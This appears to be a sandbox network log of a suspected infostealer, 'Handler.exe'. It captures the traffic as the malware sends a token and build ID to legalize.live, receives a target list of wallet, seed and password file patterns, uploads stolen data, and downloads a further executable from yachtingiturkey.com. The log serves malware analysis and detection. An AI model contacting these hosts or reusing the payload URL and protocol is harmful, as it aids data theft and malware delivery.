2025-01-15 19:16:43 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 02 00 01 00 01 07 62 72 6f 77 73 65 72 06 65 76 65 6e 74 73 04 64 61 74 61 03 6d 73 6e 03 63 6f 6d 00 00 41 00 01 c0 0c 00 05 00 01 00 00 54 60 00 2e 06 67 6c 6f 62 61 6c 06 61 73 69 6d 6f 76 06 65 76 65 6e 74 73 04 64 61 74 61 0e 74 72 61 66 66 69 63 6d 61 6e 61 67 65 72 03 6e 65 74 00 c0 39 00 05 00 01 00 00 00 3c 00 29 10 6f 6e 65 64 73 63 6f 6c 70 72 64 65 75 73 30 37 06 65 61 73 74 75 73 08 63 6c 6f 75 64 61 70 70 05 61 7a 75 72 65 c0 24 c0 84 00 06 00 01 00 00 00 3c 00 3b 07 6e 73 31 2d 32 30 31 09 61 7a 75 72 65 2d 64 6e 73 c0 24 06 6d 73 6e 68 73 74 09 6d 69 63 72 6f 73 6f 66 74 c0 24 00 00 27 11 00 00 03 84 00 00 01 2c 00 09 3a 80 00 00 00 3c 00 00 29 04 d0 00 00 00 00 00 e6 00 0c 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: browsereventsdatamsncomAT`.globalasimoveventsdatatrafficmanagernet9<)onedscolprdeus07eastuscloudappazure$<;ns1-201azure-dns$msnhstmicrosoft$',:<)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.2.5	50067	116.203.164.230	443	2968	C:\Users\user\Desktop\Handler.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 19:16:43 UTC	278	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----3ectjek689rqqimozm7y User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:131.0) Gecko/20100101 Firefox/131.0 Host: legalize.live Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache
2025-01-15 19:16:43 UTC	331	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 33 65 63 74 6a 65 6b 36 38 39 72 71 71 69 6d 6f 7a 6d 37 79 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 61 61 30 39 35 61 32 63 37 36 62 35 35 61 35 63 64 37 34 31 32 38 35 61 61 38 37 36 38 33 64 0d 0a 2d 2d 2d 2d 2d 2d 33 65 63 74 6a 65 6b 36 38 39 72 71 71 69 6d 6f 7a 6d 37 79 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 37 34 66 65 63 63 31 61 37 34 66 30 38 35 61 35 38 66 31 64 65 62 65 34 62 39 32 62 32 63 35 39 0d 0a 2d 2d 2d 2d 2d 2d 33 65 63 74 6a 65 6b 36 38 39 72 71 71 69 6d 6f 7a 6d 37 79 0d 0a 43 6f 6e 74 Data Ascii: ------3ectjek689rqqimozm7yContent-Disposition: form-data; name="token"4aa095a2c76b55a5cd741285aa87683d------3ectjek689rqqimozm7yContent-Disposition: form-data; name="build_id"74fecc1a74f085a58f1debe4b92b2c59------3ectjek689rqqimozm7yCont
2025-01-15 19:16:44 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 15 Jan 2025 19:16:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2025-01-15 19:16:44 UTC	1524	IN	Data Raw: 35 65 38 0d 0a 52 45 56 54 53 31 52 50 55 48 77 6c 52 45 56 54 53 31 52 50 55 43 56 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 69 6f 73 4b 6e 4e 6c 5a 57 51 71 4c 69 6f 73 4b 6d 4a 30 59 79 6f 75 4b 69 77 71 61 32 56 35 4b 69 34 71 4c 43 6f 79 5a 6d 45 71 4c 69 6f 73 4b 6d 4e 79 65 58 42 30 62 79 6f 75 4b 69 77 71 59 32 39 70 62 69 6f 75 4b 69 77 71 63 48 4a 70 64 6d 46 30 5a 53 6f 75 4b 69 77 71 4d 6d 5a 68 4b 69 34 71 4c 43 70 68 64 58 52 6f 4b 69 34 71 4c 43 70 73 5a 57 52 6e 5a 58 49 71 4c 69 6f 73 4b 6e 52 79 5a 58 70 76 63 69 6f 75 4b 69 77 71 63 47 46 7a 63 79 6f 75 4b 69 77 71 64 32 46 73 4b 69 34 71 4c 43 70 31 63 47 4a 70 64 43 6f 75 4b 69 77 71 59 6d 4e 6c 65 43 6f 75 4b 69 77 71 59 6d 6c 30 61 47 6c 74 59 69 6f 75 4b 69 77 71 61 47 6c 30 59 6e Data Ascii: 5e8REVTS1RPUHwlREVTS1RPUCVcfCp3YWxsZXQqLiosKnNlZWQqLiosKmJ0YyouKiwqa2V5Ki4qLCoyZmEqLiosKmNyeXB0byouKiwqY29pbiouKiwqcHJpdmF0ZSouKiwqMmZhKi4qLCphdXRoKi4qLCpsZWRnZXIqLiosKnRyZXpvciouKiwqcGFzcyouKiwqd2FsKi4qLCp1cGJpdCouKiwqYmNleCouKiwqYml0aGltYiouKiwqaGl0Yn

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.5	50092	116.203.164.230	443	2968	C:\Users\user\Desktop\Handler.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 19:16:45 UTC	278	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----sriwlnycjm79zmglf379 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:131.0) Gecko/20100101 Firefox/131.0 Host: legalize.live Content-Length: 453 Connection: Keep-Alive Cache-Control: no-cache
2025-01-15 19:16:45 UTC	453	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 73 72 69 77 6c 6e 79 63 6a 6d 37 39 7a 6d 67 6c 66 33 37 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 61 61 30 39 35 61 32 63 37 36 62 35 35 61 35 63 64 37 34 31 32 38 35 61 61 38 37 36 38 33 64 0d 0a 2d 2d 2d 2d 2d 2d 73 72 69 77 6c 6e 79 63 6a 6d 37 39 7a 6d 67 6c 66 33 37 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 37 34 66 65 63 63 31 61 37 34 66 30 38 35 61 35 38 66 31 64 65 62 65 34 62 39 32 62 32 63 35 39 0d 0a 2d 2d 2d 2d 2d 2d 73 72 69 77 6c 6e 79 63 6a 6d 37 39 7a 6d 67 6c 66 33 37 39 0d 0a 43 6f 6e 74 Data Ascii: ------sriwlnycjm79zmglf379Content-Disposition: form-data; name="token"4aa095a2c76b55a5cd741285aa87683d------sriwlnycjm79zmglf379Content-Disposition: form-data; name="build_id"74fecc1a74f085a58f1debe4b92b2c59------sriwlnycjm79zmglf379Cont
2025-01-15 19:16:45 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 15 Jan 2025 19:16:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2025-01-15 19:16:45 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
65	192.168.2.5	50117	116.203.164.230	443	2968	C:\Users\user\Desktop\Handler.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 19:16:49 UTC	280	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----7gdjwt0hlny5fus0zcbs User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:131.0) Gecko/20100101 Firefox/131.0 Host: legalize.live Content-Length: 98185 Connection: Keep-Alive Cache-Control: no-cache
2025-01-15 19:16:49 UTC	16355	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 37 67 64 6a 77 74 30 68 6c 6e 79 35 66 75 73 30 7a 63 62 73 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 61 61 30 39 35 61 32 63 37 36 62 35 35 61 35 63 64 37 34 31 32 38 35 61 61 38 37 36 38 33 64 0d 0a 2d 2d 2d 2d 2d 2d 37 67 64 6a 77 74 30 68 6c 6e 79 35 66 75 73 30 7a 63 62 73 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 37 34 66 65 63 63 31 61 37 34 66 30 38 35 61 35 38 66 31 64 65 62 65 34 62 39 32 62 32 63 35 39 0d 0a 2d 2d 2d 2d 2d 2d 37 67 64 6a 77 74 30 68 6c 6e 79 35 66 75 73 30 7a 63 62 73 0d 0a 43 6f 6e 74 Data Ascii: ------7gdjwt0hlny5fus0zcbsContent-Disposition: form-data; name="token"4aa095a2c76b55a5cd741285aa87683d------7gdjwt0hlny5fus0zcbsContent-Disposition: form-data; name="build_id"74fecc1a74f085a58f1debe4b92b2c59------7gdjwt0hlny5fus0zcbsCont
2025-01-15 19:16:49 UTC	16355	OUT	Data Raw: 55 55 55 55 41 46 46 46 46 41 42 53 55 74 46 41 43 55 55 55 55 41 46 4a 53 30 55 41 4a 52 52 52 51 41 55 6c 4c 52 51 41 6c 46 46 46 41 42 52 52 52 51 41 55 55 55 55 41 46 42 6f 6f 4e 41 43 55 55 55 55 41 46 46 46 46 41 43 55 55 74 4a 51 41 6c 46 4c 52 51 41 6c 46 46 46 41 42 52 52 52 51 41 6c 46 46 46 41 42 52 52 52 51 41 6c 46 46 46 41 42 52 52 52 51 41 6c 46 46 46 41 42 53 47 6c 70 44 51 41 55 55 55 55 41 46 4a 53 30 6c 41 42 51 61 4b 4b 41 45 6f 70 61 53 67 41 6f 6f 6f 6f 41 4b 53 6c 6f 6f 41 53 69 69 69 67 42 4b 4b 57 6b 6f 41 4b 4b 4b 4b 41 45 6f 6f 6f 6f 41 4b 53 6c 70 4b 41 43 6b 70 61 53 67 41 6f 6f 6f 6f 41 31 36 4b 4b 4b 41 43 69 69 69 67 41 6f 6f 6f 6f 41 53 76 4d 66 69 55 76 38 41 59 2f 69 7a 77 78 34 6d 58 68 49 70 78 62 7a 74 2f 73 35 7a 2f Data Ascii: UUUUAFFFFABSUtFACUUUUAFJS0UAJRRRQAUlLRQAlFFFABRRRQAUUUUAFBooNACUUUUAFFFFACUUtJQAlFLRQAlFFFABRRRQAlFFFABRRRQAlFFFABRRRQAlFFFABSGlpDQAUUUUAFJS0lABQaKKAEopaSgAooooAKSlooASiiigBKKWkoAKKKKAEooooAKSlpKACkpaSgAooooA16KKKACiiigAooooASvMfiUv8AY/izwx4mXhIpxbzt/s5z/
2025-01-15 19:16:49 UTC	16355	OUT	Data Raw: 58 74 35 66 52 74 48 6d 5a 34 57 4f 6c 7a 56 62 64 69 56 66 61 70 56 2b 74 51 67 31 49 44 58 71 4a 48 46 59 6e 55 38 31 4b 6f 79 61 69 58 72 55 79 34 37 35 6f 73 5a 76 79 46 78 6e 33 71 49 75 38 54 5a 51 6b 56 30 57 6c 65 48 70 62 77 43 57 34 4a 53 49 39 42 33 4e 64 52 44 34 61 30 6c 49 67 72 57 6f 6b 39 53 35 35 72 68 72 59 36 6c 42 38 75 35 32 55 73 42 55 71 4b 37 30 4f 4a 73 72 78 5a 78 74 59 34 63 56 63 48 31 72 62 31 48 77 66 61 4d 50 4f 73 43 59 5a 6c 35 41 37 47 73 44 4d 6b 55 6a 52 54 4c 74 6b 55 34 59 56 35 39 53 74 43 57 73 54 48 45 59 57 56 46 33 65 78 4d 4b 73 78 4e 7a 56 51 4e 79 4b 6d 6a 50 4e 65 64 56 6c 71 63 36 4e 69 32 63 35 46 62 31 72 4a 6c 4b 35 6d 32 62 70 57 37 5a 53 56 77 54 33 4c 6a 6f 58 37 75 50 7a 37 4f 52 44 32 55 6b 66 57 75 Data Ascii: Xt5fRtHmZ4WOlzVbdiVfapV+tQg1IDXqJHFYnU81KoyaiXrUy475osZvyFxn3qIu8TZQkV0WleHpbwCW4JSI9B3NdRD4a0lIgrWok9S55rhrY6lB8u52UsBUqK70OJsrxZxtY4cVcH1rb1HwfaMPOsCYZl5A7GsDMkUjRTLtkU4YV59StCWsTHEYWVF3exMKsxNzVQNyKmjPNedVlqc6Ni2c5Fb1rJlK5m2bpW7ZSVwT3LjoX7uPz7ORD2UkfWu
2025-01-15 19:16:49 UTC	16355	OUT	Data Raw: 4c 77 73 59 6a 79 55 75 4a 6c 7a 39 4a 47 72 71 5a 66 38 41 56 50 37 71 66 35 56 7a 50 77 2f 50 2f 45 69 6e 2f 77 43 76 79 66 38 41 39 47 4e 51 42 31 66 57 69 6c 48 53 69 67 42 4b 4b 4b 4b 41 43 6b 6f 70 61 41 45 78 53 55 74 4c 51 41 32 6b 7a 54 73 55 6d 4b 41 4f 48 31 35 64 33 6a 37 54 51 41 54 2b 37 42 50 48 75 61 36 31 77 32 7a 39 32 71 37 6a 30 7a 58 4f 61 68 6b 66 45 4b 7a 32 70 76 50 32 5a 75 50 7a 72 6f 50 4e 75 63 38 32 35 78 37 4d 4b 74 45 4d 57 52 6c 69 69 33 4f 42 6e 67 48 61 4b 52 49 59 34 77 46 7a 79 54 6e 6b 30 65 5a 50 2f 77 41 2b 72 66 38 41 66 61 31 45 42 4f 58 4c 79 51 4d 78 42 79 76 7a 44 69 71 4a 4c 47 7a 50 51 44 30 36 30 30 49 33 6e 4e 6b 4c 73 2f 68 48 70 51 5a 4a 2b 76 32 5a 76 2b 2b 68 52 35 73 2f 48 2b 6a 4e 7a 2f 74 69 67 43 4e Data Ascii: LwsYjyUuJlz9JGrqZf8AVP7qf5VzPw/P/Ein/wCvyf8A9GNQB1fWilHSigBKKKKACkopaAExSUtLQA2kzTsUmKAOH15d3j7TQAT+7BPHua61w2z92q7j0zXOahkfEKz2pvP2ZuPzroPNuc825x7MKtEMWRlii3OBngHaKRIY4wFzyTnk0eZP/wA+rf8Afa1EBOXLyQMxByvzDiqJLGzPQD0600I3nNkLs/hHpQZJ+v2Zv++hR5s/H+jNz/tigCN
2025-01-15 19:16:49 UTC	16355	OUT	Data Raw: 70 78 64 6d 6d 4e 53 6c 73 39 6a 48 62 56 72 39 4a 4d 4e 5a 6c 6c 55 34 4f 31 54 79 66 38 4d 59 71 5a 74 59 6d 55 74 2f 6f 45 70 41 58 63 4d 44 72 57 76 67 65 67 78 52 67 65 67 34 36 56 73 68 47 44 4c 72 56 32 34 68 4d 46 6c 49 43 78 47 34 4d 4f 67 72 63 58 4a 55 45 39 78 54 73 44 47 4f 50 79 6f 41 34 70 67 4a 53 5a 70 39 4a 69 67 44 6b 37 67 2f 38 58 4c 73 76 2b 76 52 76 36 31 31 31 63 66 65 6e 62 38 53 62 48 2f 72 30 62 2b 74 64 50 35 68 39 61 41 4c 4f 52 54 66 78 71 44 7a 50 65 6b 33 6d 67 43 63 39 61 53 6f 64 35 6f 38 77 30 41 53 45 6d 6d 6d 6f 7a 49 61 54 64 51 41 2b 6b 4a 46 4d 4a 4e 4d 4c 55 41 50 4c 55 77 6d 6d 46 36 4e 31 41 44 73 30 30 6d 6d 6c 71 61 57 6f 41 63 54 54 53 61 61 54 52 6e 69 67 42 63 30 32 6b 7a 53 5a 6f 41 55 6d 6d 35 70 43 61 54 Data Ascii: pxdmmNSls9jHbVr9JMNZllU4O1Tyf8MYqZtYmUt/oEpAXcMDrWvgegxRgeg46VshGDLrV24hMFlICxG4MOgrcXJUE9xTsDGOPyoA4pgJSZp9JigDk7g/8XLsv+vRv6111cfenb8SbH/r0b+tdP5h9aALORTfxqDzPek3mgCc9aSod5o8w0ASEmmmozIaTdQA+kJFMJNMLUAPLUwmmF6N1ADs00mmlqaWoAcTTSaaTRnigBc02kzSZoAUmm5pCaT
2025-01-15 19:16:49 UTC	16355	OUT	Data Raw: 42 66 51 6d 61 32 6b 33 78 68 33 6a 4a 77 52 38 79 73 56 59 63 2b 68 42 46 63 4d 74 76 4e 50 34 77 73 37 70 4e 4b 45 45 6e 32 36 56 62 67 72 70 73 6f 63 78 37 4a 46 79 39 79 54 74 64 57 2b 55 68 51 4d 44 4b 6a 50 48 4c 59 72 43 33 30 2f 52 4a 62 42 64 42 52 53 32 6f 79 2f 61 43 2b 6c 79 54 52 71 6d 2b 52 6f 32 4d 61 41 65 63 75 4e 6f 47 43 51 75 51 65 4d 59 6f 36 58 47 39 37 66 31 31 2f 79 50 51 71 4b 35 2f 77 58 44 50 62 2b 48 56 68 6e 69 61 4c 5a 63 54 2b 57 6a 51 74 43 41 6e 6d 4d 56 77 6a 45 6c 56 78 6a 41 79 63 44 46 64 42 51 78 42 52 52 52 51 41 55 55 55 55 41 46 46 46 46 41 42 52 52 52 51 41 55 55 55 55 41 46 46 46 46 41 42 52 52 52 51 41 55 55 55 55 41 46 46 46 46 41 44 36 4b 53 69 67 41 6f 6f 6f 6f 41 4b 54 74 53 30 6c 41 43 30 6c 46 46 41 42 52 Data Ascii: BfQma2k3xh3jJwR8ysVYc+hBFcMtvNP4ws7pNKEEn26Vbgrpsocx7JFy9yTtdW+UhQMDKjPHLYrC30/RJbBdBRS2oy/aC+lyTRqm+Ro2MaAecuNoGCQuQeMYo6XG97f11/yPQqK5/wXDPb+HVhniaLZcT+WjQtCAnmMVwjElVxjAycDFdBQxBRRRQAUUUUAFFFFABRRRQAUUUUAFFFFABRRRQAUUUUAFFFFAD6KSigAooooAKTtS0lAC0lFFABR
2025-01-15 19:16:49 UTC	55	OUT	Data Raw: 58 4a 50 2b 51 4c 61 2f 77 44 58 78 4e 2f 36 44 48 51 42 2f 39 6b 3d 0d 0a 2d 2d 2d 2d 2d 2d 37 67 64 6a 77 74 30 68 6c 6e 79 35 66 75 73 30 7a 63 62 73 2d 2d 0d 0a Data Ascii: XJP+QLa/wDXxN/6DHQB/9k=------7gdjwt0hlny5fus0zcbs--
2025-01-15 19:16:50 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 15 Jan 2025 19:16:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2025-01-15 19:16:50 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
66	192.168.2.5	50129	116.203.164.230	443	2968	C:\Users\user\Desktop\Handler.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 19:16:51 UTC	278	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----2nyc2ngv37ycbim7y5xb User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:131.0) Gecko/20100101 Firefox/131.0 Host: legalize.live Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache
2025-01-15 19:16:51 UTC	331	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 32 6e 79 63 32 6e 67 76 33 37 79 63 62 69 6d 37 79 35 78 62 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 61 61 30 39 35 61 32 63 37 36 62 35 35 61 35 63 64 37 34 31 32 38 35 61 61 38 37 36 38 33 64 0d 0a 2d 2d 2d 2d 2d 2d 32 6e 79 63 32 6e 67 76 33 37 79 63 62 69 6d 37 79 35 78 62 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 37 34 66 65 63 63 31 61 37 34 66 30 38 35 61 35 38 66 31 64 65 62 65 34 62 39 32 62 32 63 35 39 0d 0a 2d 2d 2d 2d 2d 2d 32 6e 79 63 32 6e 67 76 33 37 79 63 62 69 6d 37 79 35 78 62 0d 0a 43 6f 6e 74 Data Ascii: ------2nyc2ngv37ycbim7y5xbContent-Disposition: form-data; name="token"4aa095a2c76b55a5cd741285aa87683d------2nyc2ngv37ycbim7y5xbContent-Disposition: form-data; name="build_id"74fecc1a74f085a58f1debe4b92b2c59------2nyc2ngv37ycbim7y5xbCont
2025-01-15 19:16:52 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 15 Jan 2025 19:16:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2025-01-15 19:16:52 UTC	91	IN	Data Raw: 35 30 0d 0a 4d 54 4d 34 4f 54 67 78 4f 58 78 6f 64 48 52 77 63 7a 6f 76 4c 33 6c 68 59 32 68 30 61 57 35 6e 61 58 52 31 63 6d 74 6c 65 53 35 6a 62 32 30 76 51 33 4a 35 63 48 52 6c 63 6c 52 6c 63 33 51 78 4c 6d 56 34 5a 58 77 78 66 47 74 72 61 32 74 38 0d 0a 30 0d 0a 0d 0a Data Ascii: 50MTM4OTgxOXxodHRwczovL3lhY2h0aW5naXR1cmtleS5jb20vQ3J5cHRlclRlc3QxLmV4ZXwxfGtra2t80

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
67	192.168.2.5	50137	162.0.209.157	443	2968	C:\Users\user\Desktop\Handler.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 19:16:53 UTC	184	OUT	GET /CrypterTest1.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:131.0) Gecko/20100101 Firefox/131.0 Host: yachtingiturkey.com Cache-Control: no-cache
2025-01-15 19:16:54 UTC	290	IN	HTTP/1.1 200 OK keep-alive: timeout=5, max=100 content-type: application/x-msdownload last-modified: Fri, 10 Jan 2025 07:34:04 GMT accept-ranges: bytes content-length: 5768704 date: Wed, 15 Jan 2025 19:16:53 GMT server: LiteSpeed x-turbo-charged-by: LiteSpeed connection: close
2025-01-15 19:16:54 UTC	16384	IN	Data Raw: 4d 5a 50 00 02 00 00 00 04 00 0f 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 ba 10 00 0e 1f b4 09 cd 21 b8 01 4c cd 21 90 90 54 68 69 73 20 70 72 6f 67 72 61 6d 20 6d 75 73 74 20 62 65 20 72 75 6e 20 75 6e 64 65 72 20 57 69 6e 33 32 0d 0a 24 37 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZP@!L!This program must be run under Win32$7
2025-01-15 19:16:54 UTC	8192	IN	Data Raw: 04 4c 40 00 11 17 54 41 72 72 61 79 3c 53 79 73 74 65 6d 2e 53 68 6f 72 74 49 6e 74 3e 01 00 00 00 00 00 00 00 10 00 00 00 64 10 40 00 06 53 79 73 74 65 6d 64 10 40 00 02 00 00 00 40 4c 40 00 11 17 54 41 72 72 61 79 3c 53 79 73 74 65 6d 2e 53 6d 61 6c 6c 49 6e 74 3e 02 00 00 00 00 00 00 00 02 00 00 00 80 10 40 00 06 53 79 73 74 65 6d 80 10 40 00 02 00 00 00 7c 4c 40 00 11 16 54 41 72 72 61 79 3c 53 79 73 74 65 6d 2e 49 6e 74 65 67 65 72 3e 04 00 00 00 00 00 00 00 03 00 00 00 9c 10 40 00 06 53 79 73 74 65 6d 9c 10 40 00 02 00 00 00 00 b8 4c 40 00 11 14 54 41 72 72 61 79 3c 53 79 73 74 65 6d 2e 49 6e 74 36 34 3e 08 00 00 00 00 00 00 00 14 00 00 00 14 11 40 00 06 53 79 73 74 65 6d 14 11 40 00 02 00 00 f0 4c 40 00 11 1a 54 41 72 72 61 79 3c 53 79 73 74 65 6d Data Ascii: L@TArray<System.ShortInt>d@Systemd@@L@TArray<System.SmallInt>@System@\|L@TArray<System.Integer>@System@L@TArray<System.Int64>@System@L@TArray<System
2025-01-15 19:16:54 UTC	16384	IN	Data Raw: 8b d3 e8 b9 f7 ff ff 8b d8 8d 85 db ff fd ff 3b d8 77 0b 47 83 85 dc 47 fe ff 04 4e 75 ce a1 70 f0 8f 00 e8 80 37 00 00 8b c8 8b d3 a1 70 f0 8f 00 e8 da f7 ff ff 8d 85 dc 87 fd ff 8b 15 74 f0 8f 00 e8 55 f6 ff ff 5f 5e 5b 8b e5 5d c3 8b c0 56 57 33 c0 33 f6 ba 7a f0 8f 00 80 3d da da 93 00 00 74 05 f6 02 0f 75 1d 0f b7 3a c1 ef 03 8b ce 03 c9 03 c9 3b f8 76 0b 88 88 94 d9 93 00 40 3b f8 77 f5 8b c7 46 83 c2 20 83 fe 37 75 cc 5f 5e c3 8b c0 53 56 57 be 37 00 00 00 bb 94 f0 8f 00 83 3b 00 75 06 c7 03 60 55 40 00 8d 43 e4 89 43 f0 8d 43 e4 89 43 ec 33 c0 89 43 f8 c7 43 f4 01 00 00 00 0f b7 43 e6 03 c0 03 c0 8d 04 40 05 ef 00 00 00 25 00 ff ff ff 83 c0 30 3d 30 0b 00 00 73 05 b8 30 0b 00 00 05 d0 04 00 00 c1 e8 0d 83 f8 07 76 05 b8 07 00 00 00 8b c8 ba ff 00 Data Ascii: ;wGGNup7ptU_^[]VW33z=tu:;v@;wF 7u_^SVW7;u`U@CCCC3CCC@%0=0s0v
2025-01-15 19:16:54 UTC	16384	IN	Data Raw: e8 e3 f3 ff ff 85 c0 7d 04 33 c0 eb 06 3b d8 7d 02 8b c3 88 06 85 c0 7e 0b 8d 56 01 8b cc 91 e8 f8 c4 ff ff 81 c4 00 02 00 00 5e 5b c3 8d 40 00 8b d0 85 d2 75 06 b8 40 ac 40 00 c3 8b c2 c3 00 00 00 00 00 53 56 57 83 c4 f8 89 54 24 04 89 04 24 8b 44 24 04 85 c0 74 07 83 e8 04 8b 00 d1 e8 8b d8 85 db 74 4a 8b 04 24 8b 00 85 c0 74 07 83 e8 04 8b 00 d1 e8 8b f0 8d 04 33 e8 00 f2 ff ff 8b f8 85 f6 7e 10 8b ce 03 c9 8b d7 8b 04 24 8b 00 e8 86 c4 ff ff 8d 14 77 8b cb 03 c9 8b 44 24 04 e8 76 c4 ff ff 8b 04 24 8b d7 e8 30 fe ff ff 59 5a 5f 5e 5b c3 8b c0 53 56 57 55 83 c4 f8 89 4c 24 04 8b ea 89 04 24 8b c5 85 c0 74 07 83 e8 04 8b 00 d1 e8 8b d8 8b 44 24 04 85 c0 74 07 83 e8 04 8b 00 d1 e8 8b f0 85 db 75 04 85 f6 74 33 8d 04 1e e8 88 f1 ff ff 8b f8 8b cb 03 c9 8b Data Ascii: }3;}~V^[@u@@SVWT$$D$ttJ$t3~$wD$v$0YZ_^[SVWUL$$tD$tut3
2025-01-15 19:16:54 UTC	16384	IN	Data Raw: 41 64 64 72 65 73 73 02 00 00 00 11 40 00 08 49 6e 73 74 61 6e 63 65 02 00 02 00 08 88 f5 40 00 11 55 6e 72 65 67 69 73 74 65 72 57 65 61 6b 52 65 66 00 00 00 00 00 00 02 00 00 11 40 00 07 41 64 64 72 65 73 73 02 00 00 00 11 40 00 08 49 6e 73 74 61 6e 63 65 02 00 02 00 08 3c f6 40 00 15 52 65 67 69 73 74 65 72 57 65 61 6b 4d 65 74 68 6f 64 52 65 66 00 00 00 00 00 00 02 00 00 11 40 00 07 41 64 64 72 65 73 73 02 00 00 00 11 40 00 08 49 6e 73 74 61 6e 63 65 02 00 02 00 08 14 f7 40 00 17 55 6e 72 65 67 69 73 74 65 72 57 65 61 6b 4d 65 74 68 6f 64 52 65 66 00 00 00 00 00 00 02 00 00 11 40 00 07 41 64 64 72 65 73 73 02 00 00 00 11 40 00 08 49 6e 73 74 61 6e 63 65 02 00 02 00 08 cc f7 40 00 0c 49 73 52 65 67 69 73 74 65 72 65 64 00 00 00 10 40 00 01 00 00 11 40 Data Ascii: Address@Instance@UnregisterWeakRef@Address@Instance<@RegisterWeakMethodRef@Address@Instance@UnregisterWeakMethodRef@Address@Instance@IsRegistered@@
